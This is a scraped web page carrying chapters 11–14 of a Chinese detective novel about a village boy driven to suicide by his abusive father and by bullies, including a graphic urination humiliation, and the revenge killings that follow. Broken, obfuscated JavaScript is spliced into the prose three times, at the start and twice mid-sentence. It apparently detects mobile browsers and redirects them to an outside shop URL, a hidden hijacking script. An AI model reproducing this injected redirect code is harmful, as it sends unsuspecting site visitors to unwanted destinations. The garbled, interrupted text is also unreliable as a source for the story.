0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17320985|199052||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毛振国的袖子挂在了男人的扣子上,露出了半截手臂。 那一瞬间,唐嗣钧的呼吸都不由自主的放轻了。 那根细的如同烧火棍一样的手臂上面,密密麻麻的全是伤。 一道道,一条条,纵横交错,触目惊心。 唐嗣钧紧跟着进了屋,眼疾手快地撸起了毛振国的袖子和裤腿。 毛振国身上所有的伤痕,就这么明晃晃的袒露在了所有人的面前。 他身上的伤痕有鞭子抽的,有钝器打的,有硬物砸的,还有用烟头烫的…… 从手腕到肩膀到腹部,新伤叠旧伤,使得他浑身上下都快要找不出一块完好的肉了。 一开始听到动静的那个女邻居捂着嘴,说话的声音都在发颤:“这……这都是毛勇打的吗?” “毛勇那个人喝醉了就经常拿孩子出气,我也劝过他,可他不听啊,”女邻居狠狠的拧着眉毛:“我也没想过,他能打的这么狠……” “这孩子……”一个年轻的男人看着那浑身的伤,迟疑这说道:“他把自己吊死,不会就是因为经常挨打,受不住了吧?” 这话一出,大家伙立刻开始义愤填膺的声讨起了毛勇。 “毛勇那个人,真不是个东西。” “真是造孽啊……” “可怜这娃儿哦,从小娘跟着别人跑了,爹又是个酒鬼……” 赵东方紧紧的贴着唐嗣钧,浑身都在抖,声音小的像蚊子似的:“毛振国把自己吊死,不会和我们有关系吧?” 唐嗣钧定定的看着他:“和我们有什么关系?” 赵东方的嘴唇哆嗦着:“他身上的伤……好多都是我们打的,你说,会不会……” 唐嗣钧正要开口的时候,旁边又凑过来了一个人,他扯着唐嗣钧的袖子,满脸都是恐惧:“石康乐……我害怕。” 这人,正是幼年时的李全庆。 唐嗣钧看着眼前这两张稚嫩的脸,他们的眼睛里面装着恐惧,装着不安,还有一点隐隐约约的愧疚。 可这并不妨碍,他们在成年之后将这些事情完全抛之脑后。 唐嗣钧的目光从他们的脸上移开,重新落在了床上的毛振国的身上。 或许……毛振国的死,在场的每一个人,都是凶手。 那个酗酒的父亲,那些视而不见的邻居,还有那几个天天欺负他的孩子们…… 他们每个人都只做了一点点的事情,可正是这些微不足道的小事,把一条鲜活的生命,推向了必死的结局。 门外忽然传来了一阵喧哗:“毛勇回来了!” “让开让开……” 说话之间,几个人架着一个醉醺醺的男人进了院子,此时的他已经完全醉的不省人事了,两条腿没有一条能使得上劲的,完全靠别人架着,才没有倒下去。 毛勇浑身上下带着一股极度浓烈的酒气,唐嗣钧和他隔着好几米的距离,都闻得清清楚楚。 “你快看看,你儿子死了。” 毛勇被人架着走进了屋,他斜倚在床前,低头看了看床上那个一动不动的孩子。 没有悲伤,没有震惊。 甚至都没有多看几眼。 他只是皱着眉头,含糊不清的吐露出了几个字来:“真是晦气……” 整个屋子骤然变得极其的安静,所有人都像是看怪物似的看着毛勇。 可他却没有丝毫的察觉,他只是晃了晃脑袋,又嘟囔了几句:“以后家里的活谁来干啊?” “这小兔崽子,死的也太不是时候了……” 11.第 11 章 顾书山被气的直接重重一巴掌拍在了毛勇的肩膀上。 毛勇本就喝醉了酒,顾书山手下的力气也不轻,他的身体摇晃了两下,终究还是没站稳,直接跌倒在了地上。 顾书山压着怒火,眼珠子都瞪圆了:“哪有你这样当爹的?儿子都已经没了,还在这里说这样的混账话?!” “谁知道他是不是我的亲生儿子……”毛勇的嘴里嘟囔着,酒气不断的喷出来,熏得旁边的人直皱眉:“他妈跟别的男人跑了,留下了这么个小兔崽子,瞧不起我,谁都瞧不起我……” “一个个的都瞧不起我,连这小兔崽子都敢瞪我,”毛勇坐在地上,巴掌拍的地面啪啪响,转眼间又开始横了起来:“老子养他这么大,吃老子的,喝老子的,还敢给老子脸色看……” “你放的什么屁?”顾书山的脸色简直就是难看到了极点:“你媳妇儿为啥跑了,你自己心里没点数吗?” “要不是你成天打她,她能跑吗?”顾书山一双眼睛直勾勾的瞪着毛勇,只恨不得把这个人驱除自己的生产大队:“而且你媳妇是跟你离婚,你别在这满嘴喷粪,胡乱冤枉人。” 男人嘛,管一管家里的媳妇倒也正常,可毛勇下手实在是有些太狠了。 顾书山至今都记得毛勇媳妇要和毛勇离婚的那一段时间。 那天他正在地里干活呢,毛振国突然光着脚,跌跌撞撞的跑来找他。 小小的孩子,衣服上面大片大片的血渍,哭的上气不接下气的:“大队长,求求你,救救我妈……我爹要把她打死了……” 顾书山赶忙将毛振国从头到脚都给检查了一遍:“你怎么样?没受伤吧?” “没有没有……”毛振国使劲的摇着头:“是……是我妈的血,不是我的,大队长,你快去……” 顾书山闻言,一把抱起了毛振国,又招呼了几个正在地里干活的青壮年,一起朝着毛勇家的方向跑了过去。 等他们到的时候,院子里面已经不见毛勇的踪迹了,只有他媳妇倒在灶房的门口。 她的脸上身上全是血,一动不动的躺在那里,跟死了似的。 毛家的二小子就那样坐在满是鲜血的地上,一只手紧紧的拽着母亲的袖子,张着大嘴哇哇的哭着。 顾书山被眼前的这一幕吓得差点直接背过气去,深深的吸了一口气,这才颤抖着手去探了一下毛勇媳妇的鼻息。 那鼻息无比的微弱,但幸好,还有气。 顾书山立刻招呼着把人送到了卫生院。 医生抢救了好半天,才终于把毛勇媳妇从鬼门关给拉了回来,可毛勇却不愿意给医药费。 他喝的醉醺醺的,完全一副无赖的样子:“谁给送到卫生院去的谁付钱,老子打自己家媳妇,你管的着吗你?” 这样一个泼皮,说又说不动,打又打不得,气得人牙根都在痒痒。 最后还是毛勇媳妇的娘家来了人,东拼西凑的把钱给垫上了。 毛勇媳妇醒来以后,说什么都要离婚,怎么也不愿意再继续过下去。 这个时候村子里的人结婚是不打结婚证的,只要两家人办上几桌酒席,再请一些亲朋好友来吃顿饭,就算是结了婚了。 所以离婚也非常的简单。 就算毛勇千八百个不愿意,在他媳妇的坚持下,这个婚终究还是离了。 毛勇媳妇带走了不满三岁的二小子,把年纪大一点的毛振国留在了这里。 原本顾书山以为离婚以后,毛勇能够认识到自己的错误,带着自己的大儿子好好过日子。 毕竟媳妇已经没了,他这个样子,也没办法再娶二次亲。 可万万没想到,毛勇竟然越发的不成气候,成天到晚的打孩子出气,硬生生的把孩子给逼死了。 一个人的情绪崩溃到了极点,不是一朝一夕之间就能产生的,压死骆驼的最后一根稻草,无比的重要。 唐嗣钧觉得毛振国在选择上吊自杀之前,一定是发生了什么让他再也无法承受的事情。 所以他没有继续再看顾书山教育毛勇,而是将赵东方和李全庆两个人拉到了院子外面来:“今天,我们对毛振国做了什么?” 赵东方眨着眼睛,满脸的疑惑:“石康乐,你今天怎么奇奇怪怪的?” “毛振国的死,可能和我们有关系,”唐嗣钧故意板着脸,吓唬他们:“要是让大人知道是我们把他逼死的……我们可是要蹲大牢的。” “我……我们……”李全庆都快要哭出来了,拼命的摇着头:“我们就是跟他闹着玩的……” “所以,你们俩要把欺负毛振国的事情从头到尾给我说一遍,”唐嗣钧压低了声音,一字一顿的道:“这样,我们才能找到办法,不去蹲大牢。” 两个小孩听到这话都非常害怕,就一五一十的全部都交代了。 一开始的时候,只是因为他们听到大人说毛振国没有了娘,是个没有人要的可怜虫。 于是他们就当着毛振国的面骂他是没娘的野种,说他娘不要他了。 可他们骂了好几天,却发现根本没有人管,于是,就上升到了动手。 但即便如此,依旧没有人为毛振国出头。 所以……他们便开始愈发的过分了。 他们把毛振国推倒在地上,对着毛振国拳打脚踢,抢毛振国的东西,还把毛振国洗干净的衣服扔进泥里…… 大队上有一所小学,村子里的孩子到了年纪都可以去村小里面读书。 只有毛振国去不了。 因为毛勇说上学没有用,有那念书的功夫,不如在家里面多干一点活。 毛振国也知道读书的重要性,所以他只要有空闲的时候,就趴在学校的窗户外头偷听。 村小的老师见此,也只是睁一只眼闭一只眼的,并没有撵他走。 渐渐的,老师就发现毛振国的记忆力特别的好,无论是教他汉字也好,算术题也好,他都学的非常的快。 老师看着不学无术的石康乐几个人,无奈的发出了一道叹息:“你们这坐在教室里念书的,还不如人家在外面听两句。” 这个时候,村小的老师还是挺稀缺的,一个老师要教好几个年级的学生,几乎所有的学生都在一个教室里上课。 这其中,有一个成绩很好的男孩,名字叫做杨清辉。 他家里面是做化肥的,算得上是村里面最有钱的人家了。 杨清辉的父母对他的成绩非常的看重,考试如果考不到一百分的话,就会揍他。 不过杨清辉自己也比较争强好胜,再加上脑子也很好使,所以在学校里的成绩一直都是名列前茅。 可直到他上了三年级,数学似乎变得愈发的难了起来…… 案发的这天上午,数学老师在讲一道题的时候喊了杨清辉起来回答,可他却算错了。 老师挥了挥手,让他回到自己位置上去:“你先下去吧,再好好想一想。” 可就在这个时候,趴在窗户外面的毛振国却报出了正确答案:“等于七。” 老师非常 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17325205|199052||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 满意的冲着毛振国点了点头:“很好啊,答案就是七,大家都可以向毛振国同学学习。” 杨清辉当场就变了脸色,他紧紧的抓着手里的铅笔,几乎都快要将其给折断了。 中午放学以后,杨清辉喊了石康乐几个人,咬牙切齿的说道:“去把那个该死的毛振国给我带过来!” 毛振国被按着跪在地上,杨清辉直接对着他的脸就一巴掌打了过去:“你很能耐是不是?你算数算的很好是不是?你敢让我丢脸?!” “来,”杨清辉岔开了腿,指着自己的裆/下,高高的抬着下巴:“钻过去。” “你从这里钻过去,我就放过你,否则……”杨清辉拖长了尾音,整个人阴恻恻的:“我有的是办法整死你。” 毛振国咬着牙,眼尾都红了。 他不愿意,可他只有一个人…… 他爹总是打他,他妈也走了,也没有人会替他做主的…… 心中好一番天人交战,毛振国终究还是用双手撑着地,一点一点的,从杨清辉的裤/裆/底下爬了过去…… 可爬完以后,杨清辉却并没有放过他,他让石康乐几个人扯住了毛振国的胳膊,居高临下的看着他。 毛振国只觉得头皮发麻,哑着嗓子:“你说话不算数……” “说话算数?”杨清辉一边笑一边解裤腰带:“跟你这种没有人要的野种,我讲什么说话算数?” “像你这种人,死了都没人去管,”杨清辉不断的冷笑着,掐着毛振国的下巴,迫使他将嘴巴张开:“让你当我的茅屎坑,对你来说是一种赏赐,你懂不懂?” 说完这话,杨清辉直接把东西掏了出来,对准了毛振国张开的嘴吧。 刹那之间,一股满是骚臭味道的热流,被兜头浇了下来。 浇在了毛振国的身上,脸上,也浇进了他的嘴里。 把他所有的自尊,都毁的干干净净…… “铃铃铃……” 一阵手机铃声将唐嗣钧从模拟器的世界里面拉了回来,此时的他,依旧坐在村委会的办公室里。 唐嗣钧看了一眼手机屏幕的来电显示,按下了免提键:“喂,师父。” “臭小子,告诉你个好消息,”王伯威说话的声音里面带着抑制不住的笑意:“你们从路固县派出所发回来的那几份指纹比对结果出来了。” 说完这话,王伯威故意停顿了一下,准备卖个关子,可唐嗣钧却并没有接茬。 “没意思,”王伯威咂了咂嘴,又继续乐呵呵的说:“现在可以确定,爆炸现场的那三名死者,就是石康乐,赵东方和李全庆三个人了。” “那可真是太好了,”李钦霞一双圆溜溜的眼睛大睁着,满脸都是兴奋:“这说明我们这一趟没白跑啊,在这里肯定也能挖出不少东西来。” “行啊你,”施久挤到男主的身边,用力的撞了一下他的肩膀:“你的猜测完全是正确的。” 手机的对面,王伯威对此也颇为欣赏:“凶手故意把化工厂宿舍里的指纹和其他信息都抹除掉,就是为了隐藏自己的身份,那家化工厂,确实有大问题。” “我们准备去查一查化工厂了,”王伯威把手机夹在了耳朵上,一边整理东西一边说:“你们那边也继续盯着,有什么发现随时汇报。” “好,”唐嗣钧轻轻应了一声,随后又问:“师父,那家化工厂现在的负责人叫什么名字?” “我看看啊……”王伯威翻了翻资料,过了几秒钟才回答道:“姓杨,叫杨清辉。” 12.第 12 章 杨清辉…… 唐嗣钧把这个名字在心里面翻来覆去的念了好几遍。 当年欺辱毛振国,逼得他不得不上吊自杀的那几个孩子,除了这个杨清辉以外,另外三个都已经死了。 他们被炸成了焦尸,此刻还躺在燕京市局的停尸房里。 恐怕这个杨清辉,也危险了。 唐嗣钧将自己的猜测用另外一种解释说了出来:“化工厂的工人刘二柱曾经说过,石康乐三个人是大老板安排到化工厂去做工的。” “凶手清除掉他们生活过的痕迹,除了不想让我们查到他自己以外……”唐嗣钧话还没说完,王伯威立刻接了一句:“也不想我们把这个案子和化工厂扯上联系。” “对,”唐嗣钧轻声应和了一句:“师父,调查化工厂的时候,可以安排几个人盯着杨清辉。” 王伯威的声音通过听筒传来:“你怀疑那个逃跑的劫匪会去找他?” 唐嗣钧的回答无比肯定:“是。” “但是……”电话挂断后,李钦霞单手托着下巴,带着几分疑惑的看向了唐嗣钧:“杨清辉是化工厂的老板,他怎么会和石康乐他们几个打工的有这么紧密的牵连呢?” 就在她话音落下的瞬间,旁边的村委书记顾书山突然幽幽的来了一句:“如果你们说的这个杨清辉就是从我们村子里出去的那个的话,那他们从小就认识了。” 李钦霞瞬间来了兴致:“您能和我们详细说说这个杨清辉家里面的情况吗?” “杨家啊……人都还挺不错的,”顾书山眯着眼睛想了想:“那个时候政策刚刚下来,大家伙对于个体户都还挺害怕的,也不敢放心的干,就杨清辉他爹,杨刚,胆子大的很。” “他一开始是在村子里面倒腾化肥,慢慢的做大了就开了个化肥厂,后来又弄了个融资,举家搬到了燕京去,化肥厂又变成了化工厂。” 说到这里的时候,顾书山伸手指了指村里面的那条水泥路,满脸与有容焉的表情:“这条路,就是杨刚出钱修的,以前咱们这一下雨就泥泞的走不动道,但现在好了,有了水泥路,进出都方便的多了。” “还有村子里的学校,也都是他出钱建的,”顾书山津津乐道的细数着杨家人的功绩:“咱们周边乡里乡邻的不少年轻人都去他那厂里打工了,一个月到手的钱呀,可比待在这村子里面种地多多了。” 李钦霞听着这话,若有所思的问道:“这么说来,这杨家的人都很心地善良了?” “那当然,”顾书山毫不犹豫的点头,满脸都是笑意:“虽然现在离得远了,但是他们从来没忘了他们的根在哪里,每年都还会回来村子里捐款呢。” 唐嗣钧的眉头微微动了一下:“什么时候回来?” “就每年年底的时候,”顾书山侧头看了一眼墙上的挂历,轻轻拍了一下自己的大腿:“这不是巧了嘛,这都12月10号了,估计也就一两个礼拜的事。” 唐嗣钧抿着唇,表情不由自主的凝重了几分。 按照模拟器里面幼年时的赵东方和李全庆所描述,毛振国被欺辱了这么多年,导致他上吊自杀的最终导火索,就是杨清辉尿在他嘴里的那一泡尿。 杨清辉现在还活的好好的,并不是因为曹振卫把他给忘了,很可能是出于一种仪式感。 一两个星期以后,杨清辉再次回到这个村子的时候,估计就是曹振卫要下手的时间了。 “杨清辉和石康乐三个人除了是同乡以外,还有什么别的关联吗?”施久绞尽了脑汁,也没有想明白凶手杀他们的理由。 毕竟谁又能想得到,二十年前跟着母亲离开的那个弟弟,会回来替自己的哥哥报仇呢? 顾书山对此也是一筹莫展:“石康乐几个小子,人厌狗嫌的,惹人报复我都能理解。” “但是杨清辉那个孩子,从小就又聪明又懂事,”顾书山轻轻摇了摇头,不太认同唐嗣钧,他们的猜测:“回来捐款的时候也非常有礼貌,从来都不摆大老板的架子,对谁都是客客气气的。” “有一年村里的五保户张大爷生病了,没钱治疗,杨清辉知道以后直接把人带到了燕京去,治好了又给送了回来,而且每到逢年过节的时候,他都会安排人给村里的孤寡老人送米送油的,比亲儿子都贴心……” 顾书山就差掰着手指头,细数杨清辉的好了:“这样的孩子,又怎么可能会和人结仇呢?” 唐嗣钧的唇角微微向下撇了撇,带着几分冷意:“知人知面不知心。” 顾书山脸上的笑容僵了一瞬:“你这是什么意思?” 但还不等唐嗣钧回答呢,村委会的外面突然传来了一道极其尖利的女人的叫喊声:“谁?!谁说我们家乐乐死了?!” 紧接着,一大群人吵吵嚷嚷地涌了进来。 打头的是一对已经有些上了年纪的夫妻,正是石康乐的父母,石父长的精瘦精瘦的,一双眼睛里面闪着几分凶光。 石康乐的父母拢共就这么一个儿子,如珠似宝的宠到大,要天上的星星不给月亮的,把他惯的无法无天。 石母像是一头母狮似的,一进门就冲着顾书山吼了起来:“顾书记,你给我说清楚,我们家乐乐到底是怎么回事?” 赵东方的母亲在生他的时候难产去世了,来的女人是他的继母,女人单手捋了捋自己的头发,漫不经心的问了一句:“赵东方什么情况?” 继母又给赵父生了好几个孩子,所以赵父对这个儿子也不甚看重,得知了赵东方的死讯,他只是语气淡淡的问了一句:“发生什么事了?” “全庆,全庆啊……”一个佝偻着背的老太太被人扶着,颤颤巍巍的往里走,一边走还一边哭:“我的大孙子啊……” 李全庆的父母离婚以后又各自组成了新的家庭,有了新的孩子,所以对李全庆几乎是不管不顾的。 他自小由奶奶带大,基本上可以称得上是祖孙二人相依为命了,所以得知他死了以后,李奶奶整个人情绪都有些崩溃。 不大的屋子,眨眼间就被人给挤满了,哭喊声,叫骂声,质问声,接连不断的混在一起,吵得人耳朵都快要聋了。 顾书山被围在中间,眉头皱的都能夹死一只苍蝇,他使劲的扯着嗓子喊,试图让那些人安静下来:“都别吵,都别吵,先听我说……” “说什么说?!”石母完全不听顾书山的话,只一双通红的眼眸直勾勾的瞪着他,声嘶力竭的大喊大叫着:“你先告诉我,我们家乐乐咋死的?咋就死了呢?是谁害了他?我要杀了他给乐乐报仇!” 就在这个时候,一道略微低沉的声音插了进来:“被炸死的。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17330084|199052||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>屋子里瞬间安静了一瞬,所有人的目光都转向了唐嗣钧。 他静静的站在那里,表情无比的平静,一字一顿的说道:“石康乐,赵东方,李全庆三个人在燕京北郊抢劫农村信用社,逃跑的时候,车子发生了爆炸,三个人当场死亡。” “你放屁!我撕烂你的臭嘴!”死一般的安静之后,石母张牙舞爪的扑了过来:“你胡说八道,我儿子怎么会死?!不可能,不可能的……” 唐嗣钧一把攥住了她的手臂,紧接着又掏出了一个手铐在她眼前晃了晃:“说话就说话,但如果你硬要动手的话,我就只能把你铐起来了。” 石母猩红着一双眼眸,用力的吸了吸鼻子,缓缓后退了两步:“凶手呢?凶手是谁?!” 唐嗣钧听叹了一声:“还在调查当中。” “全庆啊……”李全庆的奶奶听到这个消息的一瞬间,直接坐在地上嚎啕大哭了起来:“你让奶奶怎么活啊……” 赵东方的继母优雅的翻了个白眼,侧头看了一眼赵父:“看看,这就是你的好儿子,跑去抢钱,反而把自己给炸死了。” “行了,”赵父也有些无奈,他用力的扯了一把女人的胳膊,压低了声音:“孩子都已经死了,你就少说两句吧。” “案情已经确定了,凶手还在调查当中,”等到众人的情绪稍稍缓和了一些以后,唐嗣钧再次开了口:“现在需要你们家属去一趟燕京,认认尸,如果确认的话,需要把遗体带回来好好安葬。” “燕京那么远,我们可没钱去,”赵东方的继母冷哼了一声,双手抱在胸前,满脸的冷漠:“反正你们警察要办案的,到时候随便找个地方埋了算了。” 听到这番话的赵父张了张嘴想要说些什么,可却又被女人一个眼神给瞪了回去。 李奶奶抬起那张满是泪痕的脸,浑浊的眼底透着深深的绝望:“我年纪这么大了,哪去得了那么远的地方,我这把老骨头……孙子唉……” 她说着话,又哭了起来,那声音悲悲切切,好不凄惨。 “我去!”石母用袖子擦了一把脸上的泪,哑着嗓子,满脸决绝:“我儿子死了,我得去看看,我得把他带回来。” “那就这样吧,”顾书山的目光扫过一圈的人,最后落在了石父石母的身上:“燕京太远了,没办法把尸体带回来,只能带骨灰,就辛苦你们俩跑一趟燕京,把三个孩子的骨灰都带回来。” “我的天呐……”等到把所有的家属全部都送,李钦霞直接瘫在了椅子上:“这应付家属,怎么比查案子还累呀?” 施久抹了一把额头上的汗,深以为然的点了点头:“真的,吵得我脑瓜子嗡嗡的疼。” “可还是没有线索……”李钦霞把下巴抵在了椅背上,情绪有些丧:“凶手究竟为什么要杀了石康乐他们三个人呢?” “或许是为了给毛振国报仇,”唐嗣钧没有办法说出模拟器里面看到的情景,便只能旁敲侧击:“毛勇现在年纪大了,正是准备让儿子养老的时候,可他的儿子却死了。” “像他这样的人,不会把责任怪在自己的身上,”唐嗣钧这番话说的有理有据:“他若是过不下去了,就很有可能……” “可是……”唐嗣钧话还没说完,就被顾书山给打断了:“毛勇已经死了啊,死了都快一年了。” 13.第 13 章 “死了?”李钦霞瞬间从椅子上面坐直了身子,眼睛也不由自主的瞪大了一些:“怎么死的?” “唉……”顾书山颇为无奈地叹了一口气,满脸的唏嘘:“晚上喝醉了酒,栽到了泥坑里,把自己给淹死了。” “那是今年2月份的时候,临近过年了,天很冷,还下着雪,”顾书山微微眯起了眼睛,回忆道:“等到被村子里的人发现的时候,人都被冻硬了。” 唐嗣钧的眼皮狠狠的跳了跳:“确定是意外吗?” 顾书山转过头来看了唐嗣钧一眼,眼神里带着几分疑惑的:“应该是吧,难道你怀疑是谋杀?” “报案了吗?”唐嗣钧没有回答顾书山的问题,反而是又问了一句:“有没有法医的尸检报告?” “没有,”顾书山摇了摇头:“当时大家伙都以为他是喝醉了,不小心栽进去的,再说了,毛勇家里就剩他一个人了,他死不死的……也没什么人张罗。” 要是媳妇没被打跑,儿子没有上吊,或许还会有人想要报案,查一查他具体的死因吧。 但现在…… 谁管他呢? “顾书记,”李钦霞微微皱了皱眉:“这一家子,儿子死了,老子也死了,你就没觉得有点奇怪吗?” “当时我也想过可能不是意外,但毛勇的尸体我是亲眼看过了的,”顾书山对此很肯定:“他身上没有什么外伤,鼻子里还有一些泥沙,很明显是呛死的或者淹死的,再加上他那个酒瘾,喝醉了栽到坑里实在是太正常了。” 现在人都已经死了这么久了,尸体基本上都快要白骨化了,如果毛勇真的是死于机械性窒息的话,就算是挖出来,也查不到什么有用的东西了。 所以唐嗣钧也没有在这上面纠结太多:“顾书记,能不能麻烦你带我们去毛勇死亡的现场看看?” “那当然可以,不过现在都晌午了,你们吃了饭再去吧,”顾书山从椅子上面站了起来,引着大家伙往外头走:“反正也不差这一时半会儿的。” “那感情好,”施久摸着自己的肚子,小声嘟囔着:“还真是有些饿了呢。” 午饭是很简单的家常小炒,只有一道凉拌的菜,大家伙都没怎么见过。 顾书山指着那盆凉拌菜热情的招呼着:“都来尝尝这个,这是我们这儿的特产,折耳根,好吃的很。” 李钦霞夹了一筷子,小心翼翼的放进了嘴里。 只嚼了一下,她的脸瞬间就皱成了一团。 “唔……”李钦霞几乎是用尽了全身的意志力,才控制着,没有把菜给吐出去,混着一大坨米饭脚咽下去,她就迫不及待地端起杯子灌了一大口水:“这是什么味道啊?好奇怪,还有点腥。” 顾书山笑的眼睛眯成了一条缝:“头一回吃都这样的,多吃几口就习惯了。” 唐嗣钧也夹了一筷子,入口的第一感觉确实是有点奇怪,但混着醋和油辣子的香味,倒也不是不能接受。 他又嚼了两下,那股子怪味似乎淡了一些,反而品出了一点清甜来。 于是,他又接连吃了两口。 李钦霞满脸的震惊:“你居然吃的下去?!” 顾书山见此,一边笑着,一边又给唐嗣钧夹了一些折耳根:“多吃点多吃点,这东西好啊,清热解毒的。” 李钦霞偷偷冲唐嗣钧竖起了大拇指:“你牛。” 吃完饭,顾书山领着他们出了门,村子里的路高高低低的,错落不平。 站在水泥路上,还能够看到不远处的田野,冬日的阳光洒下来,照在那些枯黄的庄稼茬子上,倒也有几分暖意。 就近的一个山坡下,几个小孩正蹲在地里,拿着小锄头在那挖着什么。 顾书山顺着唐嗣钧的目光看了一眼,忍不住又笑了起来:“那是在挖折耳根呢。” 然后他又指了指旁边一丛绿油油的菜地,那菜长的非常的鲜嫩,叶子翠绿翠绿的:“那是豌豆尖,刚长出来的,掐上最尖尖那里嫩的地方烫火锅,特别的香,一会我让我媳妇去掐点回来给你们尝尝。” 毛勇死亡的地方不在村子里的主道上,这里的路面有些坑坑洼洼的,路的两边还长满了枯草。 顾书山站在一个底部有一些积水的浅坑旁边:“就是这里了。” 李钦霞有些疑惑:“既然都有人淹死在这里了,怎么就没把这个坑给填起来呢?” “填了的,第二天就把这坑给填平了,”顾书山又伸手指了指周围的地形:“可这是个坡,只要一下雨,那水流就会冲下来,就又变成这样了。” 唐嗣钧蹲在浅坑的边缘,仔细的观察着,这个坑不大,目测也就十厘米左右的高度,底部有一些枯枝败叶,以及浅浅的一层水。 如果一个人喝得烂醉,完全失去了意识,确实是有可能窒息而死的。 可是…… 只要他还有一点力气,只要他还能动一下,只要他能把脸侧过去哪怕一点点…… 他都能活下来。 唐嗣钧的手指微微收紧了一些, 他现在,越发的肯定,毛勇的死是他杀了。 回去的路上,唐嗣钧问顾书山:“顾书记,毛勇不是还有一个小儿子吗?他去世了,小儿子难道没有前来吊唁一下?” 顾书山摇了摇头,脸上的表情有些复杂:“没有。” 唐嗣钧微微挑了挑眉:“他叫什么名字?” “不知道,”顾书山沉思了片刻:“一直二小子二小子的喊着,没有起大名。” 他叹了一口气,缓缓的解释道:“那时候村子里条件不好,孩子养不活的事多了去了,一般三岁之前都不正式起名字的,就起个贱名先叫着,反正那个时候也没有户口本,不上户口,叫啥的都有。” 顾书山顿了顿,又补充道:“那孩子跟着他妈走的时候,还不到三岁呢,所以没有起大名。” 唐嗣钧有一搭没一搭的打听着:“毛振国的妈妈是哪个村的?离婚后去了哪里?” “就隔壁那个村,”顾书山指了一下大致的方向:“离婚以后就去城里打工了,再也没有回来。” 李钦霞盯着唐嗣钧看了半天:“我们现在查的不是爆炸案吗?你不去查石康乐三个人的人际关系,怎么一直在毛勇父子两人的死亡上面打转?” 她的目光当中,带着几分探究的意味:“你该不会觉得……是毛振国那个二十多年前走掉的母亲和弟弟,回来给他报仇吧?” 唐嗣钧端的一脸的认真:“如果我说是呢?” 李钦霞愣了一下,然后挥了挥手:“你别跟我开玩笑了,这人都死了这么多年了,当时都没有回来报仇,现在回来干什么?秋后算账吗?” 唐嗣钧停下了脚步,那双黑沉沉的眼睛,在日头的阴影里,显得格外的深沉。 “石康乐三个人是被炸死的,被炸毁的那辆车上还有他们抢走的钱,一共有三十多万,逃跑的那名劫匪只带了十几万就离开了,如果他真的只是 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毕竟毛振国的母亲是个女人,而根据凶手逃跑的下水道里面的脚印来推测,他是一个成年男人。 顾书山只觉得这些话听得自己心惊肉跳的:“不至于吧?那二小子走的时候才三岁,能记得到什么事啊,又怎么会杀了这么多人,就为了给振国报仇呢?” “是与不是,只要能找着人,一切就都清楚了,”唐嗣钧的这番说辞成功说服了李钦霞,她脚步一拐,直接向着隔壁村的方向:“咱们去毛振国的姥姥家探探虚实。” —— 这一边,王伯威带着刑警队的另外一些同志,去到了化工厂在市区的办公楼。 王伯威对着前台的小姑娘晃了晃警官证:“我们是刑警队的,找你们公司的负责人。” 小姑娘脸上堆起个灿烂的笑容:“几位请跟我来,这边上楼。” 王伯威几个人被她带到了三楼的一间会客室里:“几位请稍等,我们杨总马上就过来。” 片刻之后,门外传来了一阵老钱风的笑声:“哎呀呀,王队长大驾光临,有失远迎,有失远迎啊……” 来的人是杨清辉的父亲杨刚,他虽然已经上了些年纪了,但穿着一身笔挺的西装,整个人看起来非常的有精神。 杨刚几步走到了王伯威的面前,和他握了握手,然后转身冲着门外喊:“小李,倒几杯咖啡过来,要手磨的。” “不用了,”王伯威摆了摆手:“杨老板,我们今天过来,主要是想见一见您的儿子杨清辉。” 杨刚脸上的笑容僵了一瞬:“清辉啊……” 他不自在地搓着手,眼神不断的往旁边瞟:“清辉今天不在,有事出去了。” 王伯威静静的看着他:“去哪了?” “出差了,”杨刚脸上的笑容越发的勉强了起来:“去外地谈生意了,可能要过几天才回来。” “杨老板,”王伯威绷着一张脸,面容严肃:“我们找杨清辉是很重要的事情,事关命案,请你不要插科打混,阻碍我们办案。” 片刻之后,杨刚的肩膀垮了下来,他像是被抽走了全身的力气似的,整个人一下子矮了好几分。 杨刚走到了办公桌的后面,扶着椅子坐了下来,强撑着的笑容完全消失了,只剩下一脸的疲惫和惶恐:“王队长,我不是故意隐瞒的。” “实在是,我儿子他……”他微微顿了顿,声音变得有些沙哑:“他被绑架了啊……” 14.第 14 章 王伯威盯着杨刚看了好几秒,确认他不是在开玩笑后,表情变得非常的严肃:“什么时候的事?” 杨刚的脑袋垂了下来,他双手捂着脸颊,声音闷闷的,几乎是从指缝里传出:“一……一周前。” “这么久了?!”王伯威万分震惊,语调都不由得拔高了几分:“为什么没有来报案?” “绑匪不让……”杨刚脸上的表情复杂极了,又是无奈,又是愧疚,又是后怕的:“他说如果我们敢报案的话,就……就撕票……” 说到最后,他的声音里面都带上了哭腔:“我就只有这么一个儿子啊,我不敢冒险……” 杨刚现在都已经处于半退休的状态了,公司里的事情,除非拿不定主意的,基本上全部都交给了杨清辉来处理。 一周之前,杨刚正在和一个朋友钓鱼呢,他媳妇突然给他打电话:“出大事了,儿子被绑架了,你快回来呀……” 